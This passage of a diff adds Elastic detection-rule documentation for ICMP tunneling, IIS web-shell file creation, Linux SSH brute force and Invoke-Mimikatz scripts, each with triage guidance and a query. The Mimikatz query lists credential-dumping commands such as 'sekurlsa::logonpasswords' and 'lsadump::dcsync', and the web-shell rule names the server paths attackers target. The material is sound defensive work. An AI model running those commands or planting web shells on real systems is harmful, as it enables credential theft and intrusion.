2xx/3xx rates and elimination of 421/426/431/505 responses and backend 5xx spikes around previously downgraded traffic. +- Escalate to Incident Response if downgraded requests show smuggling patterns (simultaneous Content-Length and Transfer-Encoding, mixed-case duplicates, TRACE/PRI methods), hit sensitive paths (/admin, /login, /actuator), or trigger cache anomalies like cross-user content. +- Harden parsing and caching by normalizing headers at the edge, enforcing a single Content-Length, disabling TRACE, setting strict client_header_buffer_size and large_client_header_buffers, and configuring proxies/backends to reject conflicting CL/TE or ambiguous chunked bodies. + + +==== Rule query + + +[source, js] +---------------------------------- +http.version:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Downgrade Attack +** ID: T1562.010 +** Reference URL: https://attack.mitre.org/techniques/T1562/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-icmp-tunneling-activity-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-icmp-tunneling-activity-to-the-internet.asciidoc new file mode 100644 index 0000000000..e47cf3f6fc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-icmp-tunneling-activity-to-the-internet.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-potential-icmp-tunneling-activity-to-the-internet]] +=== Potential ICMP Tunneling Activity to the Internet + +Identifies ICMP Echo traffic from an internal host to an external destination with a larger-than-typical transaction size. Covert channels and ICMP tunneling tools embed data in echo payloads that exceed normal OS ping behavior, which is usually limited to small fixed-size packets. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-network_traffic.icmp-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1572/ +* https://www.rfc-editor.org/rfc/rfc792 +* https://www.levelblue.com/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel + +*Tags*: + +* Domain: Network +* Tactic: Command and Control +* Use Case: Threat Detection +* Use Case: Network Security Monitoring +* Data Source: Network Traffic +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Protocol Tunneling +* Rule Type: New Terms +* Data Source: Network Packet Capture + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential ICMP Tunneling Activity to the Internet* + + +ICMP tunneling encodes C2 or exfiltrated data inside echo request and reply payloads. This rule focuses on internal +hosts sending unusually large echo transactions to external destinations, a pattern that differs from routine +operating-system ping and most availability monitoring. + + +*Possible investigation steps* + + +- Identify the `source.ip` host role. Servers and workstations that rarely initiate ICMP externally are higher concern. +- Review the volume and cadence of echo traffic to the same `destination.ip` for beacon-like regularity. +- Compare `network.bytes` across the conversation for asymmetric or variable payload sizes. +- Correlate with endpoint process telemetry for non-standard ping utilities or custom clients if available. + + +*False positive analysis* + + +- Some network path MTU discovery, diagnostic suites, or vendor appliances generate larger ICMP payloads. Validate and + except known monitoring sources and destinations. +- Cloud health checks occasionally use ICMP with non-default sizes; confirm against provider documentation before + excepting. + + +*Response and remediation* + + +- Block unauthorized outbound ICMP at the perimeter where policy permits, or restrict it to approved monitoring paths. +- Isolate the source host if covert-channel tooling is confirmed. +- Inspect the external destination against threat intelligence and block if malicious. + +==== Setup + + + +*Setup* + + +This rule requires the Elastic network_traffic integration capturing ICMP transactions (`network_traffic.icmp` data +stream). Flow-only telemetry without ICMP payload size is insufficient. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:network_traffic.icmp + and (network_traffic.icmp.request.type:(8 or 128) or icmp.request.type:(8 or 128)) + and network.transport:(icmp or ipv6-icmp) + and source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16 or "FC00::/7") + and network.bytes >= 256 + and not destination.ip:( + 10.0.0.0/8 or 100.64.0.0/10 or 127.0.0.0/8 or 169.254.0.0/16 or 172.16.0.0/12 or 192.168.0.0/16 or + 192.0.0.0/24 or 192.0.0.0/29 or 192.0.0.8/32 or 192.0.0.9/32 or 192.0.0.10/32 or 192.0.0.170/32 or + 192.0.0.171/32 or 192.0.2.0/24 or 192.175.48.0/24 or 192.31.196.0/24 or 192.52.193.0/24 or 192.88.99.0/24 or + 198.18.0.0/15 or 198.51.100.0/24 or 203.0.113.0/24 or 224.0.0.0/4 or 240.0.0.0/4 or "::1" or "FC00::/7" or + "FE80::/10" or "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-iis-web-shell-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-iis-web-shell-file-creation.asciidoc new file mode 100644 index 0000000000..51036b0286 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-iis-web-shell-file-creation.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-potential-iis-web-shell-file-creation]] +=== Potential IIS Web Shell File Creation + +Identifies the creation of ASPX/ASHX/ASMX files in specific directories that are commonly targeted by attackers to deploy web shells. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.viettelcybersecurity.com/toolshell-a-critical-sharepoint-vulnerability-chain-under-active-exploitation/ +* https://www.sentinelone.com/blog/sharepoint-toolshell-zero-day-exploited-in-the-wild-targets-enterprise-servers/ +* https://www.rapid7.com/blog/post/2024/10/30/investigating-a-sharepoint-compromise-ir-tales-from-the-field/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Service: IIS + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential IIS Web Shell File Creation* + + +Web shells are malicious scripts uploaded to web servers, often exploiting vulnerabilities in web applications. Those files, used in Windows environments, can be manipulated by attackers to maintain persistence and execute arbitrary commands. Adversaries target specific directories for deploying these files. The detection rule identifies suspicious ASPX file creation in these directories, excluding legitimate processes, to flag potential web shell activity. + + +*Possible investigation steps* + + +- Review the file path where the ASPX/ASHX/ASMX file was created to confirm it matches the targeted directory pattern. This can help determine if the file is in a location commonly exploited for web shells. +- Examine the process that created the ASPX/ASHX/ASMX file to assess its legitimacy and potential malicious intent. +- Check the timestamp of the file creation event to correlate it with other suspicious activities or alerts on the host, which might provide additional context or evidence of compromise. +- Investigate the contents of the ASPX/ASHX/ASMX file to identify any malicious code or scripts that could indicate a web shell. Look for patterns or code snippets commonly associated with web shell functionality. +- Analyze network activity from the host around the time of the ASPX file creation to identify any unusual outbound connections or data transfers that might suggest communication with a command and control server. +- Review historical alerts and logs for the host to identify any previous suspicious activities or patterns that could indicate ongoing compromise or persistence mechanisms. + + +*False positive analysis* + + +- Routine updates or installations of legitimate web server components may trigger alerts. Users can create exceptions for known update processes or installation paths to reduce false positives. +- Development or testing environments often generate ASPX files as part of normal operations. Exclude directories or processes associated with these environments to prevent unnecessary alerts. +- Automated scripts or tools used for web server maintenance might create ASPX files. Identify and whitelist these scripts to avoid false detections. +- Legitimate third-party applications that integrate with web server extensions may create ASPX files. Monitor and whitelist these applications to ensure they do not trigger false positives. +- Scheduled tasks or system processes that interact with web server directories can be mistaken for malicious activity. Review and exclude these tasks if they are verified as non-threatening. + + +*Response and remediation* + + +- Isolate the affected server from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes associated with the creation of the ASPX file, especially those not originating from legitimate executables like msiexec.exe. +- Remove the identified ASPX file from the targeted directory to eliminate the potential web shell. +- Conduct a thorough scan of the server using updated antivirus and endpoint detection tools to identify and remove any additional malicious files or processes. +- Review server logs and network traffic for signs of unauthorized access or data exfiltration, and document any findings for further analysis. +- Restore the server from a known good backup if necessary, ensuring that the backup is free from any malicious artifacts. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security measures, such as patching vulnerabilities or enhancing monitoring capabilities. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and file.extension : ("aspx", "ashx", "asmx") and + process.name : ("w3wp.exe", "MSExchangeMailboxReplication.exe", "EdgeTransport.exe", "Microsoft.Exchange.*.exe", "UMWorkerProcess.exe", "umservice.exe", "cmd.exe", "powershell.exe", "pwsh.exe", "certutil.exe", "xcopy.exe") and + ( + (file.path : ("?:\\Program Files\\Common Files\\microsoft shared\\Web Server Extensions\\*\\TEMPLATE\\LAYOUTS\\*", + "?:\\inetpub\\wwwroot\\aspnet_client\\system_web\\*", + "?:\\Program Files\\Microsoft\\Exchange Server\\V*\\FrontEnd\\HttpProxy\\owa\\auth\\*", + "?:\\Program Files\\Microsoft\\Exchange Server\\V*\\FrontEnd\\HttpProxy\\ecp\\auth\\*") and + /* not sub-dirs */ + not file.path : ("?:\\inetpub\\wwwroot\\aspnet_client\\system_web\\*\\*", + "?:\\Program Files\\Microsoft\\Exchange Server\\V*\\FrontEnd\\HttpProxy\\*\\auth\\*\\*", + "?:\\Program Files\\Common Files\\microsoft shared\\Web Server Extensions\\*\\TEMPLATE\\LAYOUTS\\*\\*")) or + + /* not sub-dirs */ + (file.path : "?:\\inetpub\\wwwroot\\aspnet_client\\*" and not file.path : "?:\\inetpub\\wwwroot\\aspnet_client\\*\\*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-internal-linux-ssh-brute-force-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-internal-linux-ssh-brute-force-detected.asciidoc new file mode 100644 index 0000000000..7f8a1ec66e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-internal-linux-ssh-brute-force-detected.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-potential-internal-linux-ssh-brute-force-detected]] +=== Potential Internal Linux SSH Brute Force Detected + +Identifies multiple internal consecutive login failures targeting a user account from the same source address within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to these accounts. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-system.auth-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 5 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 17 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Internal Linux SSH Brute Force Detected* + + +The rule identifies consecutive internal SSH login failures targeting a user account from the same source IP address to the same target host indicating brute force login attempts. + + +*Possible investigation steps* + + +- Investigate the login failure user name(s). +- Investigate the source IP address of the failed ssh login attempt(s). +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the source and the target computer and their roles in the IT environment. + + +*False positive analysis* + + +- Authentication misconfiguration or obsolete credentials. +- Service account password expired. +- Infrastructure or availability issue. + + +*Related Rules* + + +- Potential External Linux SSH Brute Force Detected - fa210b61-b627-4e5e-86f4-17e8270656ab +- Potential SSH Password Guessing - 8cb84371-d053-4f4f-bce0-c74990e28f28 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Filebeat. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, source.ip, user.name with maxspan=30s + [ authentication where host.os.type == "linux" and + event.action in ("ssh_login", "user_login") and event.outcome == "failure" and + cidrmatch(source.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", + "::1", "FE80::/10", "FF00::/8") ] with runs = 60 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-invoke-mimikatz-powershell-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-invoke-mimikatz-powershell-script.asciidoc new file mode 100644 index 0000000000..579c432a23 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-invoke-mimikatz-powershell-script.asciidoc @@ -0,0 +1,237 @@ +[[prebuilt-rule-8-19-34-potential-invoke-mimikatz-powershell-script]] +=== Potential Invoke-Mimikatz PowerShell Script + +Identifies PowerShell script block content containing Invoke-Mimikatz or Mimikatz commands used to dump credentials, extract password stores, export certificates, or use alternate authentication material. These patterns can indicate in-memory credential access and require reconstructed script context and follow-on telemetry to assess impact. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/software/S0002/ +* https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1 +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Invoke-Mimikatz PowerShell Script* + + + +*Possible investigation steps* + + +- What Mimikatz behavior does the reconstructed script block show? + - Why: Invoke-Mimikatz can run in memory and split or rename command logic; reconstruction separates live credential access from inert matched text. + - Focus: read reconstructed `powershell.file.script_block_text`, `file.path`, `host.id`, `user.id`, and `@timestamp`. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: reconstruct first with `powershell.file.script_block_id + powershell.sequence + powershell.total`: collect fragments sharing `powershell.file.script_block_id` on the same `host.id`, order by `powershell.sequence`, and treat sequence gaps as unresolved because they can hide targets, outputs, or cleanup. + - Hint: runtime string construction, encoding, or command fragmentation can avoid literal command matches in this rule; rely on companion PowerShell obfuscation, AMSI bypass, and loader/injection detections when this exact-content rule does not fire. + - Implication: escalate when the rebuilt code performs LSASS, SAM, LSA secrets, cached-credential, DCSync, DPAPI/vault, certificate/private-key, ticket, hash, or renamed/custom Mimikatz activity; lower concern only when reconstruction shows inert sample or training content and no supported recovery shows live targets, output paths, or follow-on use. + +- Does the full script declare remote targets or export destinations that change scope? + - Focus: reconstructed `powershell.file.script_block_text`, `file.path`, `host.id`, and `user.id` for remote "ComputerName" values, domain targets, export paths, certificate-store, DPAPI/vault, ticket/hash references, or cleanup commands. + - Implication: broaden scope when remote targets, private-key export paths, or cleanup logic appear, because the affected hosts or exported material may differ from the alert host; keep scope local when the reconstructed script contains only local test content with no target or output path. + +- Can endpoint process recovery explain how PowerShell was launched? + - Focus: If endpoint process telemetry is available for this host, recover the matching process via `host.id + process.pid` before using `process.*` or `process.parent.*` for interpretation; then read `process.command_line`, `process.parent.command_line`, and `process.entity_id`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: start near `@timestamp` and expand backward if PowerShell started earlier; use `process.parent.executable` for parent identity and keep `process.Ext.authentication_id` only for the authentication bridge. If no process event is available, keep later pivots scoped to `host.id`, `user.id`, and alert time. + - Implication: escalate when PowerShell is inline, encoded, remotely invoked, or launched by Office, browser, script-host, scheduled-task, or remote-management ancestry outside the recovered user-host context; lower concern when the launch chain, command line, and session anchor match the same recognized assessment or lab workflow. + +- Does the source path show fileless execution or staged module use? + - Focus: `file.path`, `file.directory`, `file.name`, and the reconstructed `powershell.file.script_block_text`. + - Implication: escalate when no source file is present for active Mimikatz commands, or when the source path points to temp, profile, share, archive, or renamed script locations; lower concern when the path and script content are both confined to a controlled assessment repository or lab image. + +- Did the activity create credential dumps, archives, exported certificates, tickets, hashes, or private-key material? + - Focus: file activity on `host.id` after `@timestamp`, bounded to the PowerShell `process.pid`, with `file.path`, `file.name`, and `file.directory` for dump, archive, ".pfx", ".pvk", ".p12", ".key", ticket, hash, DPAPI, vault, or cleanup artifacts. !{investigate{"description":"","label":"File events for the PowerShell process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when files appear in writable, external, or collection paths, especially certificate exports or archives matching the reconstructed command. Missing file telemetry is unresolved, not benign. + +- Do authentication records show post-alert credential use? + - Focus: Windows Security events after `@timestamp`, separating `event.code` 4624/4648/4625 and reading `winlog.event_data.TargetUserName`, `source.ip`, and `winlog.event_data.TargetServerName`. !{investigate{"description":"","label":"Windows Security authentication events on the host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4625","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: If endpoint process telemetry is available for this host, recover the matching process via `host.id + process.pid` before using `process.*` or `process.parent.*` for interpretation; bridge recovered `process.Ext.authentication_id` to `winlog.event_data.TargetLogonId`, and search `winlog.event_data.SubjectLogonId` separately for 4648 explicit-credential events. + - Implication: escalate when new privileged logons, explicit-credential use, remote source IPs, or unusual authentication-package patterns follow the script. Missing authentication telemetry is unresolved, not benign. + +- If local evidence remains suspicious or incomplete, do related alerts widen account or host scope? + - Focus: related alerts for `user.id` showing credential access, execution, defense evasion, or lateral movement. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `host.id` alerts for precursor access, other credential tools, or follow-on compromise. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when either view shows connected credential-access or lateral-movement activity outside the same recognized assessment; keep the case local when surrounding alerts are absent or confined to the same bounded test. + +- What disposition is supported by the evidence set? + - Focus: credential-dump intent, password-store or DPAPI scope, certificate/private-key export, ticket/hash use, remote targets, launch context, source path, artifacts, authentication, and related alerts. + - Implication: escalate when the evidence shows live dumping, password-store extraction, certificate export, alternate-authentication use, remote targeting, or follow-on credential use; close only when reconstruction shows inert content or telemetry plus external exercise confirmation bind the exact activity with no contradictory artifacts or authentication; preserve and escalate if evidence is mixed, partial, or telemetry is missing. + + +*False positive analysis* + + +- Authorized red-team, credential-assessment, malware-analysis, training, or lab validation can legitimately trigger this rule. Confirm by verifying that reconstructed Mimikatz behavior, `user.id`, `host.id`, source `file.path`, recovered launch chain when available, authentication results, and exercise evidence all align to the same bounded test. If exercise evidence is unavailable, close only when telemetry itself proves inert content with no target, output, artifact, or follow-on authentication evidence. +- Build exceptions from the minimum confirmed pattern: stable `user.id`, `host.id`, source `file.path`, assessment repository or lab image, and recovered launcher context only when endpoint process recovery supports it. Avoid exceptions on `powershell.file.script_block_text`, Mimikatz strings, `user.name`, or `host.id` alone; do not create an exception for a single unconfirmed event. + + +*Response and remediation* + + +- If confirmed benign, document the reconstructed script, source path, host-user scope, recovered launcher context if available, authentication evidence, and exercise evidence that confirmed the bounded test before reversing temporary containment. Create an exception only when that stable evidence set is confirmed, not from one unconfirmed event. +- If suspicious but unconfirmed, preserve the reconstructed script-block events, source script path, recovered process record if available, dump, password-store, ticket/hash, or certificate-export artifacts, and relevant Windows Security records before containment. Then apply reversible controls tied to the evidence, such as temporary session restriction, heightened monitoring, or limiting access for the affected `user.id` on `host.id`. +- If confirmed malicious, record evidence before destructive action, then isolate the endpoint or restrict the account based on the artifact and authentication findings. Terminate PowerShell only after evidence capture, then block or quarantine confirmed malicious scripts, artifact hashes, domains, or destinations only when those indicators were recovered during scoping. +- If credential dumping is confirmed, treat the involved `user.id` and any additional `winlog.event_data.TargetUserName` accounts as exposed only when reconstruction, artifacts, or authentication records support that exposure. Prioritize resets for privileged, service, and lateral-movement-relevant accounts, and review related hosts and users for the same authentication or alert pattern before artifact removal. +- If certificate, DPAPI, vault, ticket, or hash material is confirmed, preserve the affected `file.path` locations and references in `powershell.file.script_block_text`, then coordinate revocation, re-issuance, reset, or downstream trust updates for the confirmed material. +- After containment and credential, certificate, or alternate-authentication actions, remove staged scripts, dumps, archives, or exported key material only after scoping related hosts and users for the same source path, account, and authentication evidence. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and +powershell.file.script_block_text:( + (DumpCreds and DumpCerts) or + "sekurlsa::logonpasswords" or + "sekurlsa::ekeys" or + "sekurlsa::tickets" or + "sekurlsa::pth" or + "sekurlsa::minidump" or + "lsadump::sam" or + "lsadump::secrets" or + "lsadump::cache" or + "lsadump::dcsync" or + "vault::cred" or + "dpapi::cred" or + ("crypto::certificates" and + "CERT_SYSTEM_STORE_LOCAL_MACHINE") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: LSA Secrets +** ID: T1003.004 +** Reference URL: https://attack.mitre.org/techniques/T1003/004/ +* Sub-technique: +** Name: Cached Domain Credentials +** ID: T1003.005 +** Reference URL: https://attack.mitre.org/techniques/T1003/005/ +* Sub-technique: +** Name: DCSync +** ID: T1003.006 +** Reference URL: https://attack.mitre.org/techniques/T1003/006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Windows Credential Manager +** ID: T1555.004 +** Reference URL: 